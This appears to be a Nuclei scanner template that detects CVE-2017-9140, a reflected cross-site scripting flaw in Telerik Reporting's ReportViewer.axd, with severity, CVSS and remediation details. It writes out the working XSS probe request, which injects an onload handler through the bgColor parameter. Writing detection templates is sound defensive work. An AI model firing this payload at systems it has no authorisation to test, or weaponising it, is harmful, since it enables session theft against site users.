CVE-2017-9140: Reflected XSS - Telerik Reporting Module

id: CVE-2017-9140

info:
  name: Reflected XSS - Telerik Reporting Module
  author: dhiyaneshDk
  severity: medium
  description: Cross-site scripting vulnerability in Telerik.ReportViewer.WebForms.dll in Telerik Reporting for ASP.NET WebForms Report Viewer control before R1 2017 SP2 (11.0.17.406) allows remote attackers to inject arbitrary web script or HTML via the bgColor parameter to Telerik.ReportViewer.axd.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, defacement of web pages, or theft of sensitive information.
  remediation: Upgrade to application version 11.0.17.406 (2017 SP2) or later.
  reference:
    - https://www.veracode.com/blog/secure-development/anatomy-cross-site-scripting-flaw-telerik-reporting-module
    - https://nvd.nist.gov/vuln/detail/CVE-2017-9140
    - https://www.veracode.com/blog/research/anatomy-cross-site-scripting-flaw-telerik-reporting-module
    - http://www.telerik.com/support/whats-new/reporting/release-history/telerik-reporting-r1-2017-sp2-(version-11-0-17-406)
    - https://knowledgebase.progress.com/articles/Article/Security-Advisory-for-Resolving-Security-vulnerabilities-September-2018
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-9140
    cwe-id: CWE-79
    epss-score: 0.05518
    epss-percentile: 0.89883
    cpe: cpe:2.3:a:progress:telerik_reporting:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: progress
    product: telerik_reporting
  tags: cve2017,cve,xss,telerik,progress

http:
  - method: GET
    path:
      - '{{BaseURL}}/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1)'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '#000000"onload="prompt(1)'
          - 'Telerik.ReportViewer.axd?name=Resources'
        condition: and

      - type: status
        status:
          - 200
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